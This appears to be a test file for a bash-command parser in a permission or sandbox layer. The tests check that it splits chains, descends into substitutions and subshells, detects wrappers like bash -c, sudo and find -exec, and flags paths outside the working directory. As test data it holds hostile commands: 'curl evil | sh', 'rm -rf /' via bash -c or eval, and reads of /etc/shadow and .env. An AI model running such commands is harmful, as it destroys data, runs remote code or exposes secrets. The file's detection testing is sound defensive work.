it("resolves a downstream pipe stage against the folded base", async () => {
|
|
// The stage after the `|` runs in a subshell that inherits the folded
|
|
// cwd/a, so ../foo resolves inside cwd rather than escaping against the
|
|
// pre-cd base.
|
|
const program = await BashProgram.parse(
|
|
"cd a && pnpm x 2>&1 | cat ../foo",
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths()).toHaveLength(0);
|
|
});
|
|
});
|
|
|
|
it("flags an absolute in-cwd path that resolves externally via a symlink, returning the typed form", async () => {
|
|
// The strict classifier only processes absolute tokens, so the escape
|
|
// surface is `cat /cwd/link/hosts` (absolute) where `link -> /etc`.
|
|
// The boundary decision still uses the canonical form (so the path is
|
|
// flagged), but the returned value is the typed/lexical form so config
|
|
// patterns match the path as the user wrote it (#418).
|
|
realpathSync.mockImplementation((p: string) => {
|
|
if (p === "/projects/my-app/link/hosts") return "/etc/hosts";
|
|
return p;
|
|
});
|
|
const program = await BashProgram.parse(
|
|
"cat /projects/my-app/link/hosts",
|
|
normalizer,
|
|
);
|
|
const external = program.externalPaths().map((p) => p.value());
|
|
expect(external).toContain("/projects/my-app/link/hosts");
|
|
expect(external).not.toContain("/etc/hosts");
|
|
});
|
|
|
|
it("does not flag a token that resolves within a symlinked cwd", async () => {
|
|
// Simulates /tmp -> /private/tmp on macOS; cwd is the canonical form.
|
|
const symlinkCwd = "/private/tmp";
|
|
realpathSync.mockImplementation((p: string) => {
|
|
if (p === "/tmp") return "/private/tmp";
|
|
if (p.startsWith("/tmp/")) return `/private/tmp${p.slice(4)}`;
|
|
return p;
|
|
});
|
|
const program = await BashProgram.parse(
|
|
"cat /tmp/workspace/file.ts",
|
|
new PathNormalizer(pathFlavorForPlatform(process.platform), symlinkCwd),
|
|
);
|
|
expect(program.externalPaths()).toHaveLength(0);
|
|
});
|
|
});
|
|
|
|
describe("commands", () => {
|
|
const cwd = "/projects/my-app";
|
|
const normalizer = new PathNormalizer(
|
|
pathFlavorForPlatform(process.platform),
|
|
cwd,
|
|
);
|
|
|
|
it("returns a single-element list for a lone command", async () => {
|
|
const program = await BashProgram.parse("npm install pkg", normalizer);
|
|
expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
|
|
});
|
|
|
|
it("splits an && chain", async () => {
|
|
const program = await BashProgram.parse("cd /p && npm i x", normalizer);
|
|
expect(program.commands()).toEqual([
|
|
{ text: "cd /p" },
|
|
{ text: "npm i x" },
|
|
]);
|
|
});
|
|
|
|
it("splits || , ; and & separators", async () => {
|
|
expect(
|
|
(await BashProgram.parse("a || b", normalizer)).commands(),
|
|
).toEqual([{ text: "a" }, { text: "b" }]);
|
|
expect((await BashProgram.parse("a ; b", normalizer)).commands()).toEqual(
|
|
[{ text: "a" }, { text: "b" }],
|
|
);
|
|
expect((await BashProgram.parse("a & b", normalizer)).commands()).toEqual(
|
|
[{ text: "a" }, { text: "b" }],
|
|
);
|
|
});
|
|
|
|
it("splits a pipeline into its commands", async () => {
|
|
const program = await BashProgram.parse("cat f | grep b", normalizer);
|
|
expect(program.commands()).toEqual([
|
|
{ text: "cat f" },
|
|
{ text: "grep b" },
|
|
]);
|
|
});
|
|
|
|
it("splits newline-separated commands", async () => {
|
|
const program = await BashProgram.parse("foo\nbar", normalizer);
|
|
expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
|
|
});
|
|
|
|
it("does not split operators inside quotes", async () => {
|
|
const program = await BashProgram.parse("echo 'x && y'", normalizer);
|
|
expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
|
|
});
|
|
|
|
it("captures the command of a redirected statement without the redirect", async () => {
|
|
const program = await BashProgram.parse(
|
|
"npm install > out.txt",
|
|
normalizer,
|
|
);
|
|
expect(program.commands()).toEqual([{ text: "npm install" }]);
|
|
});
|
|
|
|
describe("commands hosted in a redirect target (#741)", () => {
|
|
it.each([
|
|
["echo hi > $(rm x)", "echo hi", "rm x"],
|
|
["echo hi >> $(rm b)", "echo hi", "rm b"],
|
|
["echo hi 2> `rm d`", "echo hi", "rm d"],
|
|
["echo hi &> $(rm q)", "echo hi", "rm q"],
|
|
])("descends into %s", async (command, enclosing, inner) => {
|
|
const program = await BashProgram.parse(command, normalizer);
|
|
expect(program.commands()).toEqual([
|
|
{ text: enclosing },
|
|
{ text: inner, context: "command_substitution" },
|
|
]);
|
|
});
|
|
|
|
it("descends into a process substitution read as input", async () => {
|
|
const program = await BashProgram.parse("cat < <(rm c)", normalizer);
|
|
expect(program.commands()).toEqual([
|
|
{ text: "cat" },
|
|
{ text: "rm c", context: "process_substitution" },
|
|
]);
|
|
});
|
|
|
|
it("descends into a substitution concatenated into the destination", async () => {
|
|
const program = await BashProgram.parse(
|
|
"echo hi > ${DIR}/$(rm z)",
|
|
normalizer,
|
|
);
|
|
expect(program.commands()).toEqual([
|
|
{ text: "echo hi" },
|
|
{ text: "rm z", context: "command_substitution" },
|
|
]);
|
|
});
|
|
|
|
it("descends into a redirect on a chained command", async () => {
|
|
const program = await BashProgram.parse(
|
|
"cd /p && echo hi > $(rm x)",
|
|
normalizer,
|
|
);
|
|
expect(program.commands()).toEqual([
|
|
{ text: "cd /p" },
|
|
{ text: "echo hi" },
|
|
{ text: "rm x", context: "command_substitution" },
|
|
]);
|
|
});
|
|
|
|
it("leaves a plain redirect destination unenumerated", async () => {
|
|
const program = await BashProgram.parse(
|
|
"echo hi > out.txt",
|
|
normalizer,
|
|
);
|
|
expect(program.commands()).toEqual([{ text: "echo hi" }]);
|
|
});
|
|
});
|
|
|
|
describe("commands hosted in a heredoc body (#741)", () => {
|
|
it("descends into an interpolating heredoc body", async () => {
|
|
const program = await BashProgram.parse(
|
|
"cat <<EOF\n$(rm e)\nEOF",
|
|
normalizer,
|
|
);
|
|
expect(program.commands()).toEqual([
|
|
{ text: "cat" },
|
|
{ text: "rm e", context: "command_substitution" },
|
|
]);
|
|
});
|
|
|
|
it.each([
|
|
["single-quoted", "cat <<'EOF'\n$(rm e)\nEOF"],
|
|
["double-quoted", 'cat <<"EOF"\n$(rm e)\nEOF'],
|
|
])("leaves a %s heredoc body literal, since it does not interpolate", async (_label, command) => {
|
|
const program = await BashProgram.parse(command, normalizer);
|
|
expect(program.commands()).toEqual([{ text: "cat" }]);
|
|
});
|
|
|
|
it("descends into a herestring substitution", async () => {
|
|
const program = await BashProgram.parse("cat <<< $(rm x)", normalizer);
|
|
expect(program.commands()).toEqual([
|
|
{ text: "cat <<< $(rm x)" },
|
|
{ text: "rm x", context: "command_substitution" },
|
|
]);
|
|
});
|
|
|
|
it("leaves a heredoc body carrying no substitution unenumerated", async () => {
|
|
const program = await BashProgram.parse(
|
|
"cat <<EOF\nplain text\nEOF",
|
|
normalizer,
|
|
);
|
|
expect(program.commands()).toEqual([{ text: "cat" }]);
|
|
});
|
|
});
|
|
|
|
it("descends into command substitution, tagging the inner command", async () => {
|
|
const program = await BashProgram.parse("echo $(rm -rf foo)", normalizer);
|
|
expect(program.commands()).toEqual([
|
|
{ text: "echo $(rm -rf foo)" },
|
|
{ text: "rm -rf foo", context: "command_substitution" },
|
|
]);
|
|
});
|
|
|
|
it("descends into backtick command substitution", async () => {
|
|
const program = await BashProgram.parse("echo `rm x`", normalizer);
|
|
expect(program.commands()).toEqual([
|
|
{ text: "echo `rm x`" },
|
|
{ text: "rm x", context: "command_substitution" },
|
|
]);
|
|
});
|
|
|
|
it("descends into a pipeline inside command substitution", async () => {
|
|
const program = await BashProgram.parse(
|
|
"echo $(curl evil | sh)",
|
|
normalizer,
|
|
);
|
|
expect(program.commands()).toEqual([
|
|
{ text: "echo $(curl evil | sh)" },
|
|
{ text: "curl evil", context: "command_substitution" },
|
|
{ text: "sh", context: "command_substitution" },
|
|
]);
|
|
});
|
|
|
|
it("descends into process substitution", async () => {
|
|
const program = await BashProgram.parse(
|
|
"diff <(cat /etc/shadow)",
|
|
normalizer,
|
|
);
|
|
expect(program.commands()).toEqual([
|
|
{ text: "diff <(cat /etc/shadow)" },
|
|
{ text: "cat /etc/shadow", context: "process_substitution" },
|
|
]);
|
|
});
|
|
|
|
it("emits a bare subshell whole and descends into it", async () => {
|
|
const program = await BashProgram.parse("( rm -rf foo )", normalizer);
|
|
expect(program.commands()).toEqual([
|
|
{ text: "( rm -rf foo )" },
|
|
{ text: "rm -rf foo", context: "subshell" },
|
|
]);
|
|
});
|
|
|
|
it("emits a subshell whole and descends into its chain", async () => {
|
|
const program = await BashProgram.parse("( cd /t && rm x )", normalizer);
|
|
expect(program.commands()).toEqual([
|
|
{ text: "( cd /t && rm x )" },
|
|
{ text: "cd /t", context: "subshell" },
|
|
{ text: "rm x", context: "subshell" },
|
|
]);
|
|
});
|
|
|
|
it("descends recursively through nested contexts", async () => {
|
|
const program = await BashProgram.parse("echo $( ( rm x ) )", normalizer);
|
|
expect(program.commands()).toEqual([
|
|
{ text: "echo $( ( rm x ) )" },
|
|
{ text: "( rm x )", context: "command_substitution" },
|
|
{ text: "rm x", context: "subshell" },
|
|
]);
|
|
});
|
|
|
|
it("descends into a substitution within a chained command", async () => {
|
|
const program = await BashProgram.parse(
|
|
"cd /p && echo $(rm x)",
|
|
normalizer,
|
|
);
|
|
expect(program.commands()).toEqual([
|
|
{ text: "cd /p" },
|
|
{ text: "echo $(rm x)" },
|
|
{ text: "rm x", context: "command_substitution" },
|
|
]);
|
|
});
|
|
|
|
it("keeps the never-weaker invariant: a benign inner command stays", async () => {
|
|
const program = await BashProgram.parse("echo $(echo safe)", normalizer);
|
|
expect(program.commands()).toEqual([
|
|
{ text: "echo $(echo safe)" },
|
|
{ text: "echo safe", context: "command_substitution" },
|
|
]);
|
|
});
|
|
|
|
it("returns an empty list for an empty or whitespace command", async () => {
|
|
expect((await BashProgram.parse("", normalizer)).commands()).toEqual([]);
|
|
expect((await BashProgram.parse(" ", normalizer)).commands()).toEqual(
|
|
[],
|
|
);
|
|
});
|
|
|
|
it("strips a leading env-var assignment prefix", async () => {
|
|
const program = await BashProgram.parse(
|
|
"AWS_PROFILE=prod aws ec2 terminate-instances --instance-ids i-1",
|
|
normalizer,
|
|
);
|
|
expect(program.commands()).toEqual([
|
|
{ text: "aws ec2 terminate-instances --instance-ids i-1" },
|
|
]);
|
|
});
|
|
|
|
it("strips multiple leading env-var assignments", async () => {
|
|
const program = await BashProgram.parse("A=1 B=2 aws s3 ls", normalizer);
|
|
expect(program.commands()).toEqual([{ text: "aws s3 ls" }]);
|
|
});
|
|
|
|
it("strips the env-var prefix of each command in a chain", async () => {
|
|
const program = await BashProgram.parse(
|
|
"X=1 aws sts get-caller-identity && ls",
|
|
normalizer,
|
|
);
|
|
expect(program.commands()).toEqual([
|
|
{ text: "aws sts get-caller-identity" },
|
|
{ text: "ls" },
|
|
]);
|
|
});
|
|
|
|
it("keeps a pure assignment with no command unchanged", async () => {
|
|
const program = await BashProgram.parse("FOO=bar", normalizer);
|
|
expect(program.commands()).toEqual([{ text: "FOO=bar" }]);
|
|
});
|
|
|
|
describe("opaque-payload wrappers", () => {
|
|
it.each([
|
|
['bash -c "rm -rf /"', 'bash -c "rm -rf /"'],
|
|
['sh -c "rm -rf /"', 'sh -c "rm -rf /"'],
|
|
['dash -c "rm -rf /"', 'dash -c "rm -rf /"'],
|
|
['zsh -c "rm -rf /"', 'zsh -c "rm -rf /"'],
|
|
['ksh -c "rm -rf /"', 'ksh -c "rm -rf /"'],
|
|
['eval "rm -rf /"', 'eval "rm -rf /"'],
|
|
['/bin/bash -c "rm -rf /"', '/bin/bash -c "rm -rf /"'],
|
|
['bash -ec "rm -rf /"', 'bash -ec "rm -rf /"'],
|
|
])("flags %s as opaque", async (command, text) => {
|
|
const program = await BashProgram.parse(command, normalizer);
|
|
expect(program.commands()).toEqual([
|
|
{ text, wrapperKind: "opaque-payload", executedUnit: "rm -rf /" },
|
|
]);
|
|
});
|
|
|
|
it("flags an env-prefixed wrapper as opaque after stripping the prefix", async () => {
|
|
const program = await BashProgram.parse(
|
|
'AWS_PROFILE=prod bash -c "rm -rf /"',
|
|
normalizer,
|
|
);
|
|
expect(program.commands()).toEqual([
|
|
{
|
|
text: 'bash -c "rm -rf /"',
|
|
wrapperKind: "opaque-payload",
|
|
executedUnit: "rm -rf /",
|
|
},
|
|
]);
|
|
});
|
|
|
|
it.each([
|
|
"bash script.sh",
|
|
"bash",
|
|
"ls -la",
|
|
"grep -c foo file",
|
|
])("does not flag %s as opaque", async (command) => {
|
|
const program = await BashProgram.parse(command, normalizer);
|
|
expect(program.commands()).toEqual([{ text: command }]);
|
|
});
|
|
});
|
|
|
|
describe("indirection wrappers", () => {
|
|
it.each([
|
|
["sudo aws s3 ls", "sudo aws s3 ls", "aws s3 ls"],
|
|
["env FOO=bar aws s3 ls", "env FOO=bar aws s3 ls", "aws s3 ls"],
|
|
["xargs rm -rf", "xargs rm -rf", "rm -rf"],
|
|
["time aws s3 ls", "time aws s3 ls", "aws s3 ls"],
|
|
["nohup aws s3 ls", "nohup aws s3 ls", "aws s3 ls"],
|
|
["timeout 10 aws s3 ls", "timeout 10 aws s3 ls", "aws s3 ls"],
|
|
["nice -n 10 aws s3 ls", "nice -n 10 aws s3 ls", "aws s3 ls"],
|
|
["/usr/bin/sudo aws s3 ls", "/usr/bin/sudo aws s3 ls", "aws s3 ls"],
|
|
// Exec-capable rewrites and prefix wrappers (#575).
|
|
["parallel rm ::: x", "parallel rm ::: x", "rm ::: x"],
|
|
["rust-parallel echo", "rust-parallel echo", "echo"],
|
|
["rush echo", "rush echo", "echo"],
|
|
["doas aws s3 ls", "doas aws s3 ls", "aws s3 ls"],
|
|
["setsid aws s3 ls", "setsid aws s3 ls", "aws s3 ls"],
|
|
["stdbuf -oL aws s3 ls", "stdbuf -oL aws s3 ls", "aws s3 ls"],
|
|
["watch ls", "watch ls", "ls"],
|
|
["flock /tmp/lock aws s3 ls", "flock /tmp/lock aws s3 ls", "aws s3 ls"],
|
|
])("flags %s as an indirection wrapper", async (command, text, executedUnit) => {
|
|
const program = await BashProgram.parse(command, normalizer);
|
|
expect(program.commands()).toEqual([
|
|
{ text, wrapperKind: "indirection", executedUnit },
|
|
]);
|
|
});
|
|
|
|
it("flags an env-prefixed indirection wrapper after stripping the prefix", async () => {
|
|
const program = await BashProgram.parse(
|
|
"AWS_PROFILE=prod sudo aws s3 ls",
|
|
normalizer,
|
|
);
|
|
expect(program.commands()).toEqual([
|
|
{
|
|
text: "sudo aws s3 ls",
|
|
wrapperKind: "indirection",
|
|
executedUnit: "aws s3 ls",
|
|
},
|
|
]);
|
|
});
|
|
|
|
it.each([
|
|
"aws s3 ls",
|
|
"ls -la",
|
|
"grep -n foo file",
|
|
])("does not flag %s as an indirection wrapper", async (command) => {
|
|
const program = await BashProgram.parse(command, normalizer);
|
|
expect(program.commands()).toEqual([{ text: command }]);
|
|
});
|
|
});
|
|
|
|
describe("exec-conditional wrappers (find/fd)", () => {
|
|
it.each([
|
|
["find . -exec rm {} \\;", "rm {}"],
|
|
["find . -execdir rm {} \\;", "rm {}"],
|
|
["find . -ok rm {} \\;", "rm {}"],
|
|
["find . -okdir rm {} \\;", "rm {}"],
|
|
["fd -x rm", "rm"],
|
|
["fd --exec rm", "rm"],
|
|
["fd -X rm", "rm"],
|
|
["fd --exec-batch rm", "rm"],
|
|
])("flags %s as an indirection wrapper", async (command, executedUnit) => {
|
|
const program = await BashProgram.parse(command, normalizer);
|
|
expect(program.commands()).toEqual([
|
|
{ text: command, wrapperKind: "indirection", executedUnit },
|
|
]);
|
|
});
|
|
|
|
it.each([
|
|
"find . -name foo",
|
|
"fd pattern",
|
|
"fd -H -t f pattern",
|
|
])("does not flag a bare %s search", async (command) => {
|
|
const program = await BashProgram.parse(command, normalizer);
|
|
expect(program.commands()).toEqual([{ text: command }]);
|
|
});
|
|
});
|
|
|
|
describe("executed unit", () => {
|
|
it.each([
|
|
['bash -c "rm -rf /"', "rm -rf /"],
|
|
["sudo aws s3 rm", "aws s3 rm"],
|
|
["sudo -u root aws s3 rm", "aws s3 rm"],
|
|
["timeout 10 grep foo", "grep foo"],
|
|
["find . -name x -exec grep foo {} \\;", "grep foo {}"],
|
|
["sudo timeout 5 xargs grep foo", "grep foo"],
|
|
])("names what %s actually runs", async (command, executedUnit) => {
|
|
const program = await BashProgram.parse(command, normalizer);
|
|
expect(program.commands()[0].executedUnit).toBe(executedUnit);
|
|
});
|
|
|
|
it("is absent for an ordinary command", async () => {
|
|
const program = await BashProgram.parse("grep foo", normalizer);
|
|
expect(program.commands()).toEqual([{ text: "grep foo" }]);
|
|
});
|
|
|
|
it("is absent when the wrapper names no inner command", async () => {
|
|
const program = await BashProgram.parse("xargs", normalizer);
|
|
expect(program.commands()).toEqual([
|
|
{ text: "xargs", wrapperKind: "indirection" },
|
|
]);
|
|
});
|
|
});
|
|
});
|
|
|
|
it("derives both slices from a single parse", async () => {
|
|
const cwd = "/projects/my-app";
|
|
const normalizer = new PathNormalizer(
|
|
pathFlavorForPlatform(process.platform),
|
|
cwd,
|
|
);
|
|
const program = await BashProgram.parse("cat .env /etc/hosts", normalizer);
|
|
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
|
|
".env",
|
|
"/etc/hosts",
|
|
]);
|
|
const external = program.externalPaths().map((p) => p.value());
|
|
expect(external).toContain("/etc/hosts");
|
|
expect(external).not.toContain(".env");
|
|
});
|
|
|
|
describe("workdir seed (#574)", () => {
|
|
const cwd = "/projects/my-app";
|
|
const normalizer = new PathNormalizer(
|
|
pathFlavorForPlatform(process.platform),
|
|
cwd,
|
|
);
|
|
|
|
beforeEach(() => {
|
|
realpathSync.mockReset();
|
|
realpathSync.mockImplementation((p: string) => p);
|
|
});
|
|
|
|
it("flags an absolute workdir outside cwd as an external path", async () => {
|
|
const program = await BashProgram.parse("echo hi", normalizer, {
|
|
workdir: "/etc",
|
|
});
|
|
expect(program.externalPaths().map((p) => p.value())).toContain("/etc");
|
|
});
|
|
|
|
it("resolves a relative token against the workdir base", async () => {
|
|
const program = await BashProgram.parse("cat ../secret.txt", normalizer, {
|
|
workdir: "/etc",
|
|
});
|
|
const external = program.externalPaths().map((p) => p.value());
|
|
// ../secret.txt resolves against /etc, not cwd.
|
|
expect(external).toContain("/secret.txt");
|
|
expect(external).toContain("/etc");
|
|
});
|
|
|
|
it("keeps an absolute token base-independent under a workdir", async () => {
|
|
const program = await BashProgram.parse(
|
|
"cat /var/log/syslog",
|
|
normalizer,
|
|
{ workdir: "/etc" },
|
|
);
|
|
const external = program.externalPaths().map((p) => p.value());
|
|
expect(external).toContain("/var/log/syslog");
|
|
expect(external).not.toContain("/etc/var/log/syslog");
|
|
});
|
|
|
|
it("does not flag a workdir inside cwd, and resolves relative tokens under it", async () => {
|
|
const program = await BashProgram.parse("cat ../secret.txt", normalizer, {
|
|
workdir: "sub",
|
|
});
|
|
// ../secret.txt from cwd/sub resolves back to cwd/secret.txt (internal),
|
|
// and the workdir sub is inside cwd — nothing is external.
|
|
expect(program.externalPaths()).toEqual([]);
|
|
});
|
|
|
|
it("resolves a relative path-rule candidate against the workdir base", async () => {
|
|
const program = await BashProgram.parse("cat sub/file.txt", normalizer, {
|
|
workdir: "/work",
|
|
});
|
|
const candidate = program
|
|
.pathRuleCandidates()
|
|
.find(({ token }) => token === "sub/file.txt");
|
|
expect(candidate?.path.matchValues()).toContain("/work/sub/file.txt");
|
|
});
|
|
|
|
it("reproduces cwd-based resolution when no workdir is given", async () => {
|
|
const program = await BashProgram.parse("cat ../secret.txt", normalizer);
|
|
// ../secret.txt from cwd resolves against the parent of cwd.
|
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
"/projects/secret.txt",
|
|
);
|
|
});
|
|
|
|
it("applies Git Bash drive-mount semantics to a win32 workdir", async () => {
|
|
const win = new PathNormalizer(win32PathFlavor, "C:\\projects\\app");
|
|
const program = await BashProgram.parse("echo hi", win, {
|
|
workdir: "/c/work",
|
|
});
|
|
// /c/work is the MSYS mount for C:\work — outside the cwd, so flagged.
|
|
const external = program.externalPaths().map((p) => p.value());
|
|
expect(external.some((v) => v.toLowerCase().includes("work"))).toBe(true);
|
|
});
|
|
});
|
|
});
|